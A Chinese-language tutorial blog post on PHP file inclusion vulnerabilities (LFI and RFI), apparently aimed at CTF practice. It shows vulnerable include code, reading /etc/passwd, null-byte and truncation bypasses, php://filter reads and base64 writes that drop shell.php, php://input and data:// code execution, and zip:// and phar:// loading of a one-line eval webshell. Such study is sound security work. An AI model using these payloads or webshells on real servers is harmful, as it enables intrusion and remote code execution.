文件包含
文件包含給開發(fā)人員帶來(lái)了極大的便利,當(dāng)網(wǎng)站需要一樣的頁(yè)面或模板時(shí),直接包含需要的網(wǎng)頁(yè),就沒必要重復(fù)編寫代碼,且需要更改頁(yè)面的時(shí)候,只需修改包含的頁(yè)面,帶來(lái)極大的便利的同時(shí),也帶了巨大的威脅
在PHP中文件包含函數(shù)分為四個(gè)
require() require_once() include() include_once()
其中require和include的區(qū)別是,require出現(xiàn)錯(cuò)誤的時(shí)候,會(huì)直接報(bào)錯(cuò)并退出程序的執(zhí)行,而include包含的過(guò)程中如果出現(xiàn)錯(cuò)誤,會(huì)拋出一個(gè)警告,程序繼續(xù)正常運(yùn)行。
require_once和include_once則只包含一次
不管它們里面包含的是什么,圖片也好,文本也好,都會(huì)被函數(shù)當(dāng)成PHP代碼解析,所以文件包含運(yùn)用不當(dāng)會(huì)給服務(wù)器帶來(lái)極大的威脅
文件包含分為兩類,即本地文件包含LFI(Local File Inclusion)和遠(yuǎn)程文件包含RFI (Remote File Inclusion)
本地包含就可以包含服務(wù)器本地的文件
遠(yuǎn)程文件包含可以包含遠(yuǎn)程的文件,且遠(yuǎn)程文件包含危害性比本地包含危害還大
遠(yuǎn)程文件包含還需要PHP配置文件中打開以下兩個(gè)配置,但是從PHP5.2開始allow_url_include默認(rèn)為Off
allow_url_fopen = On allow_url_include = On
比如我們有個(gè)代碼,因?yàn)闆]有任何的過(guò)濾機(jī)制,導(dǎo)致可以任意的進(jìn)行本地文件包含
<?php include($_GET['file']); ?>
可以包含一些敏感信息如/etc/passwd,如果上傳了圖片馬,則可以直接包含利用
遠(yuǎn)程文件包含測(cè)試,包含遠(yuǎn)程服務(wù)器的1.txt, 其中1.txt內(nèi)容為 <?php phpinfo()?>
一些繞過(guò)方式和技巧
1、%00繞過(guò)
但是受magic_quotes_gpc和addslashes等函數(shù)的過(guò)濾,同時(shí)PHP 5.3之后版本全面修復(fù)
現(xiàn)在代碼修改這樣,只能用html,
<?php include($_GET['file'].html); ?>
但是可以用%00來(lái)截?cái)?/p>
2、路徑長(zhǎng)度截?cái)?/p>
條件:windows OS,點(diǎn)號(hào)需要長(zhǎng)于256;linux OS 長(zhǎng)于4096
Windows下目錄最大長(zhǎng)度為256字節(jié),超出的部分會(huì)被丟棄
Linux下目錄最大長(zhǎng)度為4096字節(jié),超出的部分會(huì)被丟棄。
但是本地測(cè)試失敗
3、點(diǎn)號(hào)截?cái)?/p>
條件:windows OS,點(diǎn)號(hào)需要長(zhǎng)于256
同樣本地測(cè)試失敗(求懂得大佬留言)
遠(yuǎn)程文件包含繞過(guò)
測(cè)試代碼
<?php include($_GET['file'].html); ?>
用?進(jìn)行繞過(guò)
引用《代碼審計(jì):企業(yè)級(jí)Web代碼安全架構(gòu)》訪問http://remotehost/1.txt和http//remotehost/1.txt?.php返回結(jié)果是一樣的,webserver會(huì)把?之后的內(nèi)容當(dāng)成請(qǐng)求參數(shù),txt不在webserver里面解析,參數(shù)對(duì)訪問1.txt返回內(nèi)容不影響,實(shí)現(xiàn)偽截?cái)?/p>
同樣的測(cè)試%23也可以
下面介紹一些PHP偽協(xié)議
文件包含常常便隨著php偽協(xié)議,也CTF常用套路
1、php://filter 可以對(duì)文件進(jìn)行以base64的形式讀取
需要allow_url_include=on
常用語(yǔ)法
?file=php://filter/convert.base64-encode/resource=xxx.php
測(cè)試
在用base64解碼就即可獲得源代碼
利用php://filter寫入
在這個(gè)源碼中,如果在后門寫入php代碼,不管怎么樣,一開始就被exit掉了,無(wú)法繼續(xù)執(zhí)行后面的php代碼
<?php $content = '<?php exit; ?>'; $content .= $_GET['txt']; file_put_contents($_GET['file'], $content); ?>
我們可以用php://filter寫入base64的解碼
構(gòu)造
http://localhost/test.php?txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==&file=php://filter/write=convert.base64-decode/resource=shell.php
其中PD9waHAgcGhwaW5mbygpOyA/Pg==是base64后的 <?php phpinfo(); ?>,在前面加個(gè)a或任意字母用來(lái)混淆前面的代碼(也就是 <?php exit; ?>)
然后利用php://filter/write寫入并用base64解碼出來(lái),這樣就成功繞過(guò)前面的限制寫入文件
2、php://input 可以進(jìn)行代碼執(zhí)行,寫入木馬,利用POST傳參
需要allow_url_fopen 和 allow_url_include=on
CTF套路 碰到file_get_contents函數(shù)可以用php://input進(jìn)行繞過(guò)
這里測(cè)試 寫入一句話,在www目錄下生成shell.php文件
3、file:// 可以讀取系統(tǒng)文件
4、data://偽協(xié)議 數(shù)據(jù)流封裝器
利用了流的概念,和php://input類似,同樣可以造成代碼執(zhí)行
?file=data:text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,執(zhí)行代碼base64加密后
5、phar://
不管后綴是什么,都會(huì)當(dāng)做壓縮包來(lái)解壓,PHP > =5.3.0 壓縮包需要是zip協(xié)議壓縮,rar不行
首先先準(zhǔn)備一句話木馬,然后把它壓縮,在修改成.jpg,然后利用phcar解析
它會(huì)把.jpg解壓成.php
正常解壓需要知道解壓后的文件名字
6、zip://
可以訪問壓縮文件中的子文件,且不需要指定后綴名
先準(zhǔn)備一個(gè).txt文件,里面的內(nèi)容為 <?php eval($_REQUEST['cmd']);?>,然后進(jìn)行壓縮,這里壓縮成test.zip,上傳到www目錄下面
然后用zip偽協(xié)議進(jìn)行命令執(zhí)行
格式: zip://壓縮包名#壓縮包子文件名
以上內(nèi)容參考
https://www.freebuf.com/articles/web/182280.html
https://blog.csdn.net/qq_33020901/article/details/82684483
總結(jié)
- 上一篇: 人脸表情识别人脸表情识别系统
- 下一篇: 怎么创建具有真实纹理的CG场景岩石?